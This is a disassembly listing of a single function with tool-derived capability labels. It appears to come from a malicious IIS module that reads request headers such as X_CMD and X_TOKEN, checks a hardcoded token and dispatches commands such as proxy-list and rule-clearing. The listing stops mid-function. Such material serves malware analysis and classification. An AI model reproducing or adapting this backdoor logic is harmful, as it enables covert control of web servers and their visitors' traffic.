Function at 0x180001b40
Capabilities:
Connect socket
Convert ip address from string
Download and write a file
Get file size
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration
Write file on windows

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1210
call fcn.180015d40
sub rsp, rax
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rsp + 0x1250], rbx
mov qword [rsp + 0x1258], rsi
mov rax, qword [0x18004f088]
xor rax, rsp
mov qword [rsp + 0x1200], rax
mov rbx, rdx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rcx
xor esi, esi
mov r14d, esi
mov dword [rsp + 0x68], esi
mov qword [rsp + 0x98], socket
mov qword [rsp + 0x90], rsi
mov byte [rsp + 0x80], sil
lea r8d, [rsi + 0xe]
lea rdx, str.OnBeginRequest
lea rcx, [rsp + 0x80]
call fcn.180007400
lea rcx, [rsp + 0x80]
call fcn.180006b00
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x20]
mov r12, rax
mov qword [rsp + 0x70], rax
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 0x18]
mov r15, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1800051f9
test r12, r12
je 0x1800051f9
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x40]
mov rbx, rax
test rax, rax
je 0x1800051f9
mov rax, qword [r15]
xor r8d, r8d
lea rdx, str.HOST
mov rcx, r15
call qword [rax + 0x18]
test rax, rax
je 0x1800051f9
mov qword [rsp + 0x118], socket
mov qword [rsp + 0x110], rsi
mov byte [rsp + 0x100], sil
cmp byte [rax], sil
jne 0x180001c64
mov r8d, esi
jmp 0x180001c79
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180001c70
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.180007400
nop
mov rax, rsi
lea r8, [0x180046578]
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rbx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x180001cb9
cmp rax, 4
jne 0x180001ca0
cmp cl, byte [r8 + rax - 1]
mov r13d, esi
sete r13b
mov rax, rsi
lea rdx, str.POST
mov edi, 5
nop
movzx ecx, byte [rbx + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x180001ce6
cmp rax, rdi
jne 0x180001cd0
cmp cl, byte [rdx + rax - 1]
sete sil
mov rax, qword [r15]
xor r8d, r8d
lea rdx, str.X_CMD
mov rcx, r15
call qword [rax + 0x18]
mov rbx, rax
mov r9, qword [r15]
xor r8d, r8d
lea rdx, str.X_TOKEN
mov rcx, r15
call qword [r9 + 0x18]
xor edx, edx
mov r15d, edx
test rax, rax
je 0x180001d35
lea rdx, str.cbFOvVX1582Mr7nt
mov rcx, rax
call fcn.180033710
xor ecx, ecx
test eax, eax
sete r15b
test r13d, r13d
je 0x1800040fa
test rbx, rbx
jne 0x180002f52
mov rdi, qword [rsp + 0x58]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + htons]
mov r15, qword [rax + 0x58]
test r15, r15
je case.0x180002ff4.106
mov r13, qword [0x180053a50]
mov rbx, qword [r13 + 8]
mov rsi, r13
cmp byte [rbx + 0x19], 0
jne 0x180001e1f
mov r12, qword [rsp + 0x118]
mov r14, qword [rsp + 0x110]
xor r13d, r13d
nop dword [rax]
lea rcx, [rbx + 0x20]
lea rdx, [rsp + 0x100]
cmp r12, 0x10
cmovae rdx, qword [rsp + 0x100]
lea rdi, [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x180001db7
mov rcx, qword [rcx]
mov rdi, qword [rdi]
mov r8, r14
cmp rdi, r14
cmovb r8, rdi
test r8, r8
je 0x180001dd2
call fcn.1800188c0
test eax, eax
jne 0x180001de5
cmp rdi, r14
jae 0x180001ddc
or eax, 0xffffffff
jmp 0x180001de5
mov eax, r13d
cmp rdi, r14
seta al
shr eax, 0x1f
test al, al
je 0x180001df2
mov rbx, qword [rbx + 0x10]
jmp 0x180001df8
mov rsi, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], r13b
je 0x180001d90
mov r13, qword [0x180053a50]
cmp rsi, r13
je 0x180001e1f
lea r8, [rsi + 0x20]
lea rdx, [rsp + 0x100]
call fcn.180006f10
test al, al
je 0x180001e22
mov rsi, r13
cmp rsi, r13
je case.0x180002ff4.106
mov qword [rsp + 0x198], 7
xor edi, edi
mov qword [rsp + 0x190], rdi
mov word [rsp + 0x180], di
or r13, 0xffffffffffffffff
cmp word [r15], di
jne 0x180001e58
mov r8d, edi
jmp 0x180001e6a
mov r8, r13
nop dword [rax + rax]
inc r8
cmp word [r15 + r8*2], di
jne 0x180001e60
mov rdx, r15
lea rcx, [rsp + 0x180]
call fcn.180007010
nop
mov rbx, qword [rsp + 0x58]
mov rax, qword [rbx]
xor r8d, r8d
lea rdx, str.User_Agent
mov rcx, rbx
call qword [rax + 0x18]
mov dword [rsp + 0x68], edi
test rax, rax
je 0x180002bee
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x98], socket
mov qword [rsp + 0x90], rdi
mov byte [rsp + 0x80], 0
cmp byte [rax], 0
jne 0x180001ecb
mov r8, rdi
jmp 0x180001eda
mov r8, r13
nop
inc r8
cmp byte [rax + r8], 0
jne 0x180001ed0
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180007400
nop
mov qword [rsp + socket8], 0xf
mov qword [rsp + 0xf0], rdi
mov byte [rsp + 0xe0], 0
mov r9, r13
xor r8d, r8d
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xe0]
call fcn.180007530
nop
mov dword [rsp + 0x68], edi
mov r9, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xe0]
test r9, r9
je 0x180002b0b
lea r15, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 0x10
cmovae r15, rcx
lea rax, [rsp + 0x80]
cmp qword [rsp + 0x98], 0x10
cmovae rax, qword [rsp + 0x80]
add rax, r9
lea r14, [rsp + 0x80]
cmp qword [rsp + 0x98], 0x10
cmovae r14, qword [rsp + 0x80]
mov rdi, rax
sub rdi, r14
cmp r14, rax
mov eax, 0
cmova rdi, rax
test rdi, rdi
je 0x180001fc3
mov ebx, eax
movsx ecx, byte [r14 + rbx]
call fcn.18001a920
mov byte [r15 + rbx], al
inc rbx
cmp rbx, rdi
jne 0x180001fa5
mov rcx, qword [rsp + 0xe0]
mov rax, qword [0x180053a70]
mov rbx, qword [rax]
mov rdi, qword [rsp + 0xf0]
cmp rbx, rax
je 0x18000210f
lea r12, [rbx + 0x20]
mov r13, qword [r12 + 0x10]
cmp qword [r12 + 0x18], 0x10
jb 0x180001ff3
mov r12, qword [r12]
test r13, r13
je 0x18000210a
test rdi, rdi
je 0x1800020ae
cmp r13, rdi
ja 0x1800020ae
sub rdi, r13
inc rdi
lea r15, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 0x10
cmovae r15, rcx
nop dword [rax]
test rdi, rdi
je 0x18000209e
movsx edx, byte [r12]
mov r8, rdi
mov rcx, r15
call fcn.180017e68
mov r14, rax
test rax, rax
je 0x18000209e
mov r8, r13
mov rdx, r12
mov rcx, rax
call fcn.1800188c0
test eax, eax
je 0x18000206e
sub r15, r14
dec r15
add rdi, r15
lea r15, [r14 + 1]
jmp 0x180002030
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
cmp qword [rsp + 0xf8], 0x10
cmovae rax, rcx
sub r14, rax
mov rdi, qword [rsp + 0xf0]
cmp r14, 0xffffffffffffffff
jne 0x18000210a
jmp 0x1800020ae
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xe0]
cmp byte [rbx + 0x19], 0
jne 0x1800020fe
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1800020de
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x1800020fe
nop word [rax + rax]
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1800020d0
jmp 0x1800020fe
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x1800020fb
cmp rbx, qword [rax + 0x10]
jne 0x1800020fb
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x1800020e8
mov rbx, rax
cmp rbx, qword [0x180053a70]
jmp 0x180001fd8
mov byte [rsp + 0x60], 1
mov rax, qword [0x180053a80]
mov rbx, qword [rax]
xor edx, edx
mov dword [rsp + 0x68], edx
cmp rbx, rax
je 0x180002263
nop dword [rax + rax]
lea r12, [rbx + 0x20]
mov r13, qword [r12 + 0x10]
cmp qword [r12 + 0x18], 0x10
jb 0x180002145
mov r12, qword [r12]
test r13, r13
je 0x18000225b
test rdi, rdi
je 0x1800021f6
cmp r13, rdi
ja 0x1800021f6
sub rdi, r13
inc rdi
lea r15, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 0x10
cmovae r15, rcx
nop dword [rax + rax]
test rdi, rdi
je 0x1800021e6
movsx edx, byte [r12]
mov r8, rdi
mov rcx, r15
call fcn.180017e68
mov r14, rax
test rax, rax
je 0x1800021e6
mov r8, r13
mov rdx, r12
mov rcx, rax
call fcn.1800188c0
test eax, eax
je 0x1800021be
sub r15, r14
dec r15
add rdi, r15
lea r15, [r14 + 1]
jmp 0x180002180
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
cmp qword [rsp + 0xf8], 0x10
cmovae rax, rcx
sub r14, rax
cmp r14, 0xffffffffffffffff
jne 0x18000225b
jmp 0x1800021ee
mov rcx, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xf0]
cmp byte [rbx + 0x19], 0
jne 0x180002246
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x180002220
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x180002246
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180002212
jmp 0x180002246
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x180002243
nop word [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x180002243
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180002230
mov rbx, rax
cmp rbx, qword [0x180053a80]
jne 0x180002130
xor edi, edi
mov dword [rsp + 0x68], edi
jmp 0x180002265
mov dword [rsp + 0x68], 1
xor edi, edi
or r13, 0xffffffffffffffff
cmp byte [rsp + 0x60], 1
jne 0x180002b06
mov rbx, qword [rsi + 0x40]
mov rbx, qword [rbx]
cmp rbx, qword [rsi + 0x40]
je 0x180002b06
nop word [rax + rax]
lea rdx, [rbx + 0x20]
mov qword [rsp + 0x1b8], 7
mov qword [rsp + 0x1b0], rdi
mov word [rsp + 0x1a0], di
mov r9, r13
xor r8d, r8d
lea rcx, [rsp + 0x1a0]
call fcn.180007160
nop
lea rdx, [rbx + 0x40]
mov qword [rsp + 0x1d8], 7
mov qword [rsp + 0x1d0], rdi
mov word [rsp + 0x1c0], di
mov r9, r13
xor r8d, r8d
lea rcx, [rsp + 0x1c0]
call fcn.180007160
nop
lea r14, [rsp + 0x1a0]
mov r12, qword [rsp + 0x1a0]
mov r15, qword [rsp + 0x1b8]
cmp r15, 8
cmovae r14, r12
mov rdi, qword [rsp + 0x1b0]
test rdi, rdi
jne 0x18000232d
mov rax, rdi
jmp 0x180002402
mov r10, qword [rsp + 0x190]
test r10, r10
je 0x1800023fd
cmp rdi, r10
ja 0x1800023fd
sub r10, rdi
inc r10
lea r11, [rsp + 0x180]
cmp qword [rsp + 0x198], 8
cmovae r11, qword [rsp + 0x180]
test r10, r10
je 0x180002385
mov rcx, r10
mov rax, r11
movzx edx, word [r14]
cmp word [rax], dx
je 0x180002387
add rax, 2
sub rcx, 1
jne 0x180002376
xor eax, eax
test rax, rax
je 0x1800023fd
mov rdx, rdi
mov r8, r14
mov r9, rax
test rdi, rdi
je 0x1800023db
movzx ecx, word [r8]
cmp word [r9], cx
jne 0x1800023b2
add r9, 2
add r8, 2
sub rdx, 1
jmp 0x180002398
mov edx, 1
cmp word [r9], cx
cmovb edx, r13d
test edx, edx
je 0x1800023db
mov rdx, rax
sub rdx, r11
sar rdx, 1
mov rcx, r13
sub rcx, rdx
add r10, rcx
lea r11, [rax + 2]
jmp 0x180002367
lea rcx, [rsp + 0x180]
cmp qword [rsp + 0x198], 8
cmovae rcx, qword [rsp + 0x180]
sub rax, rcx
sar rax, 1
jmp 0x180002400
mov rax, r13
xor edi, edi
test rax, rax
je 0x1800024dd
mov r8, qword [rsp + 0x1d8]
cmp r8, 8
jb 0x180002441
inc r8
mov rdx, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x1c0]
call fcn.1800080d0
mov r15, qword [rsp + 0x1b8]
mov r12, qword [rsp + 0x1a0]
mov qword [rsp + 0x1d8], 7
mov qword [rsp + 0x1d0], rdi
mov word [rsp + 0x1c0], di
cmp r15, 8
jb 0x180002477
lea r8, [r15 + 1]
mov rdx, r12
lea rcx, [rsp + 0x1a0]
call fcn.1800080d0
cmp byte [rbx + 0x19], 0
jne 0x1800024c6
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1800024a1
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x1800024c6
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180002493
jmp 0x1800024c6
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x1800024c3
nop dword [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x1800024c3
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x1800024b0
mov rbx, rax
cmp rbx, qword [rsi + 0x40]
jne 0x180002290
mov rcx, qword [rsp + 0xe0]
jmp 0x180002b06
mov qword [rsp + 0x158], socket
mov qword [rsp + 0x150], rdi
mov byte [rsp + 0x140], 0
cmp byte [rsi + 0x60], 0
je 0x1800027cd
xor ecx, ecx
call fcn.18001a750
cmp rax, qword [rsi + 0x68]
jle 0x18000260b
xor ecx, ecx
call fcn.18001a750
movsxd rcx, dword [rsi + 0x64]
add rcx, rax
mov qword [rsi + 0x68], rcx
lea rcx, [rsi + 0x50]
call fcn.1800063b0
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0xa0]
call fcn.180009fe0
nop
mov r9d, 3
lea r8, [0x180053a10]
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000f2f0
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.180006b90
lea rcx, [rsp + 0x120]
call fcn.180006b00
nop
mov r8, qword [rsp + 0xb8]
cmp r8, 8
jb 0x1800025ae
inc r8
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0xa0]
call fcn.1800080d0
cmp qword [rsp + 0x150], 0
je 0x180002864
lea rcx, [rsi + 0x50]
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x120]
call fcn.18000af50
mov rcx, qword [rsp + 0x120]
add rcx, 0x40
lea rax, [rsp + 0x140]
cmp rcx, rax
je 0x180002855
mov r9, r13
xor r8d, r8d
lea rdx, [rsp + 0x140]
call fcn.180007530
jmp 0x180002855
lea r13, [rsi + 0x50]
mov rdi, qword [r13]
mov rsi, qword [rdi + 8]
mov rbx, rdi
mov r14, qword [rsp + 0x198]
mov r12, qword [rsp + 0x190]
mov r15, qword [rsp + 0x180]
cmp byte [rsi + 0x19], 0
jne 0x180002686
nop dword [rax + rax]
lea rcx, [rsi + 0x20]
lea r8, [rsp + 0x180]
cmp r14, 8
cmovae r8, r15
lea rdx, [rcx + 0x10]
cmp qword [rcx + 0x18], 8
jb 0x180002662
mov rcx, qword [rcx]
mov r9, r12
mov rdx, qword [rdx]
call fcn.18000a780
shr eax, 0x1f
test al, al
je 0x18000267a
mov rsi, qword [rsi + 0x10]
jmp 0x180002680
mov rbx, rsi
mov rsi, qword [rsi]
cmp byte [rsi + 0x19], 0
je 0x180002640
cmp rbx, rdi
je 0x1800026bf
lea r8, [rbx + 0x20]
lea r9, [r8 + 0x10]
cmp qword [r8 + 0x18], 8
jb 0x18000269d
mov r8, qword [r8]
lea rcx, [rsp + 0x180]
cmp r14, 8
cmovae rcx, r15
mov r9, qword [r9]
mov rdx, r12
call fcn.18000a780
shr eax, 0x1f
test al, al
je 0x1800026c2
mov rbx, rdi
cmp rbx, rdi
je 0x1800026f3
lea rdx, [rbx + 0x40]
lea rax, [rsp + 0x140]
or r13, 0xffffffffffffffff
cmp rax, rdx
je 0x180002853
mov r9, r13
xor r8d, r8d
lea rcx, [rsp + 0x140]
jmp 0x18000284e
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0xa0]
call fcn.180009fe0
nop
mov r9d, 3
lea r8, [0x180053a10]
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000f2f0
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.180006b90
lea rcx, [rsp + 0x120]
call fcn.180006b00
nop
mov r8, qword [rsp + 0xb8]
cmp r8, 8
jb 0x180002772
inc r8
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0xa0]
call fcn.1800080d0
cmp qword [rsp + 0x150], 0
je 0x180002864
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x120]
mov rcx, r13
call fcn.18000af50
mov rcx, qword [rsp + 0x120]
add rcx, 0x40
lea rax, [rsp + 0x140]
or r13, 0xffffffffffffffff
cmp rcx, rax
je 0x180002853
mov r9, r13
xor r8d, r8d
lea rdx, [rsp + 0x140]
jmp 0x18000284e
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0xa0]
call fcn.180009fe0
nop
mov r9d, 3
lea r8, [0x180053a10]
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000f2f0
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.180006b90
lea rcx, [rsp + 0x120]
call fcn.180006b00
nop
mov r8, qword [rsp + 0xb8]
cmp r8, 8
jb 0x180002855
inc r8
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0xa0]
call fcn.1800080d0
jmp 0x180002855
call fcn.180007530
xor edi, edi
cmp qword [rsp + 0x150], 0
jne 0x18000295b
lea rcx, [rsp + 0x140]
call fcn.180006b00
nop
mov r8, qword [rsp + 0x1d8]
cmp r8, 8
jb 0x180002898
inc r8
mov rdx, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x1c0]
call fcn.1800080d0
mov qword [rsp + 0x1d8], 7
xor ebx, ebx
mov qword [rsp + 0x1d0], rbx
mov word [rsp + 0x1c0], bx
mov r8, qword [rsp + 0x1b8]
cmp r8, 8
jb 0x1800028dc
inc r8
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x1a0]
call fcn.1800080d0
mov qword [rsp + 0x1b8], 7
mov qword [rsp + 0x1b0], rbx
mov word [rsp + 0x1a0], bx
lea rcx, [rsp + 0xe0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
mov r8, qword [rsp + 0x198]
cmp r8, 8
jb 0x18000293a
inc r8
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x180]
call fcn.1800080d0
mov qword [rsp + 0x198], 7
mov qword [rsp + 0x190], rbx
mov word [rsp + 0x180], bx
jmp case.0x180002ff4.106
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rax, [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x138], socket
mov qword [rsp + 0x130], rdi
mov byte [rsp + 0x120], 0
mov r8d, 4
lea rdx, str.html
lea rcx, [rsp + 0x120]
call fcn.180007400
nop
mov qword [rsp + 0xb8], socket
mov qword [rsp + 0xb0], rdi
mov byte [rsp + 0xa0], 0
mov r9, r13
xor r8d, r8d
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.180007530
nop
mov r9b, 1
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x70]
call fcn.18000fc30
nop
lea rcx, [rsp + 0x140]
call fcn.180006b00
nop
mov r8, qword [rsp + 0x1d8]
cmp r8, 8
jb 0x180002a33
inc r8
mov rdx, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x1c0]
call fcn.1800080d0
mov qword [rsp + 0x1d8], 7
mov qword [rsp + 0x1d0], rdi
mov word [rsp + 0x1c0], di
mov r8, qword [rsp + 0x1b8]
cmp r8, 8
jb 0x180002a75
inc r8
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x1a0]
call fcn.1800080d0
mov qword [rsp + 0x1b8], 7
mov qword [rsp + 0x1b0], rdi
mov word [rsp + 0x1a0], di
lea rcx, [rsp + 0xe0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
mov r8, qword [rsp + 0x198]
cmp r8, 8
jb 0x180002ad3
inc r8
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x180]
call fcn.1800080d0
mov qword [rsp + 0x198], 7
mov qword [rsp + 0x190], rdi
mov word [rsp + 0x180], di
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, 2
jmp 0x1800051fb
mov rbx, qword [rsp + 0x58]
mov rax, qword [rsp + 0xf8]
cmp rax, 0x10
jb 0x180002b66
inc rax
cmp rax, 0x1000
jb 0x180002b61
test byte [rsp + 0xe0], 0x1f
je 0x180002b34
call fcn.1800197bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180002b43
call fcn.1800197bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180002b52
call fcn.1800197bc
int3
cmp rcx, 0x27
jbe 0x180002b5e
call fcn.1800197bc
int3
mov rcx, rax
call fcn.180015170
mov qword [rsp + socket8], 0xf
mov qword [rsp + 0xf0], rdi
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x180002bee
lea rax, [rdx + 1]
mov rcx, qword [rsp + 0x80]
cmp rax, 0x1000
jb 0x180002be9
test cl, 0x1f
je 0x180002baf
call fcn.1800197bc
int3
mov r8, qword [rsp + 0x80]
mov rcx, qword [r8 - 8]
cmp rcx, r8
jb 0x180002bc6
call fcn.1800197bc
int3
mov rax, qword [rsp + 0x80]
sub rax, rcx
cmp rax, 8
jae 0x180002bdd
call fcn.1800197bc
int3
cmp rax, 0x27
jbe 0x180002be9
call fcn.1800197bc
int3
call fcn.180015170
cmp qword [rsi + 0x80], 0
je 0x180002f40
mov rax, qword [rbx]
xor r8d, r8d
lea rdx, str.Referer
mov rcx, rbx
call qword [rax + 0x18]
test rax, rax
je 0x180002f40
mov qword [rsp + 0x98], socket
mov qword [rsp + 0x90], rdi
mov byte [rsp + 0x80], 0
cmp byte [rax], 0
jne 0x180002c3e
mov r8, rdi
jmp 0x180002c4b
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x180002c41
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180007400
nop
xor r15b, r15b
mov rdi, qword [rsp + 0x90]
test rdi, rdi
je 0x180002db4
mov rax, qword [0x180053a90]
mov rbx, qword [rax]
cmp rbx, rax
je 0x180002db4
nop dword [rax]
nop word [rax + rax]
lea r12, [rbx + 0x20]
mov r13, qword [r12 + 0x10]
cmp qword [r12 + 0x18], 0x10
jb 0x180002ca5
mov r12, qword [r12]
test r13, r13
je 0x180002dac
test rdi, rdi
je 0x180002d49
cmp r13, rdi
ja 0x180002d49
sub rdi, r13
inc rdi
lea r15, [rsp + 0x80]
cmp qword [rsp + 0x98], 0x10
cmovae r15, qword [rsp + 0x80]
test rdi, rdi
je 0x180002d41
movsx edx, byte [r12]
mov r8, rdi
mov rcx, r15
call fcn.180017e68
mov r14, rax
test rax, rax
je 0x180002d41
mov r8, r13
mov rdx, r12
mov rcx, rax
call fcn.1800188c0
test eax, eax
je 0x180002d1e
sub r15, r14
dec r15
add rdi, r15
lea r15, [r14 + 1]
jmp 0x180002ce0
lea rax, [rsp + 0x80]
cmp qword [rsp + 0x98], 0x10
cmovae rax, qword [rsp + 0x80]
sub r14, rax
cmp r14, 0xffffffffffffffff
jne 0x180002dac
mov rdi, qword [rsp + 0x90]
cmp byte [rbx + 0x19], 0
jne 0x180002d9e
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x180002d7e
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x180002d9e
nop word [rax + rax]
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180002d70
jmp 0x180002d9e
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x180002d9b
cmp rbx, qword [rax + 0x10]
jne 0x180002d9b
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180002d88
mov rbx, rax
cmp rbx, qword [0x180053a90]
je 0x180002db1
jmp 0x180002c90
mov r15b, 1
jmp 0x180002db4
xor r15b, r15b
xor r14b, r14b
mov rbx, qword [rsi + 0x40]
mov rbx, qword [rbx]
cmp rbx, qword [rsi + 0x40]
je 0x180002e40
mov rdi, qword [rsi + 0x40]
nop dword [rax + rax]
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0x180]
call fcn.180006500
test rax, rax
je 0x180002e3d
cmp byte [rbx + 0x19], 0
jne 0x180002e36
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x180002e10
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x180002e36
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180002e02
jmp 0x180002e36
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x180002e33
nop word [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x180002e33
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180002e20
mov rbx, rax
cmp rbx, rdi
jne 0x180002dd0
jmp 0x180002e40
mov r14b, 1
test r15b, r15b
je 0x180002f32
test r14b, r14b
je 0x180002f32
cmp byte [rsi + 0x61], 0
jne 0x180002e63
cmp dword [rsp + 0x68], 0
je 0x180002f32
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0xb8], socket
xor ebx, ebx
mov qword [rsp + 0xb0], rbx
mov byte [rsp + 0xa0], bl
lea r8d, [rbx + 4]
lea rdx, str.html
lea rcx, [rsp + 0xa0]
call fcn.180007400
nop
lea rdx, [rsi + 0x70]
mov qword [rsp + 0x158], socket
mov qword [rsp + 0x150], rbx
mov byte [rsp + 0x140], bl
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rsp + 0x140]
call fcn.180007530
nop
mov r9b, 1
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x140]
mov rcx, qword [rsp + 0x70]
call fcn.18000fc30
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x180]
call fcn.180006660
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
lea eax, [rbx + 2]
jmp 0x1800051fb
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x180]
call fcn.180006660
jmp case.0x180002ff4.106
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.180006c50
lea rdx, [rsp + 0xa0]
call fcn.1800062e0
test rax, rax
je 0x180002f7e
test r15d, r15d
je 0x180002f7e
xor dil, dil
jmp 0x180002f81
mov dil, 1
lea rcx, [rsp + 0xa0]
call fcn.180006b00
test dil, dil
jne case.0x180002ff4.106
lea rdx, [rsp + 0x100]
call fcn.180006390
mov rdi, rax
mov rdx, rbx
lea rcx, [rsp + 0x1a0]
call fcn.180006c50
nop
lea rdx, [rsp + 0x1a0]
call fcn.180006310
mov ebx, dword [rax]
lea rcx, [rsp + 0x1a0]
call fcn.180006b00
add ebx, 0xffffff9a
cmp ebx, 0xf
ja case.0x180002ff4.106
movsxd rax, ebx
lea rcx, [0x180000000]
mov eax, dword [rcx + rax*4 + 0x5228]
add rax, rcx
jmp rax
lea rdx, str.PROXY_LIST
lea rcx, [rsp + 0xa0]
call fcn.180006c50
mov rcx, rax
call fcn.180012a40
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180006c50
mov rbx, rax
mov rdx, rdi
lea rcx, [rsp + 0x140]
call fcn.180012e50
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
nop
lea rcx, [rsp + 0x140]
call fcn.180006b00
lea rdx, [0x180045ed8]
lea rcx, [rsp + 0xa0]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, 2
jmp 0x1800051fb
mov rcx, rdi
call fcn.180006400
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Rules_Success_
lea rcx, [rsp + 0xa0]
call fcn.180006c50
nop
lea rdx, str.plain
lea rcx, [rsp + 0x80]
call fcn.180006c50
mov rbx, rax
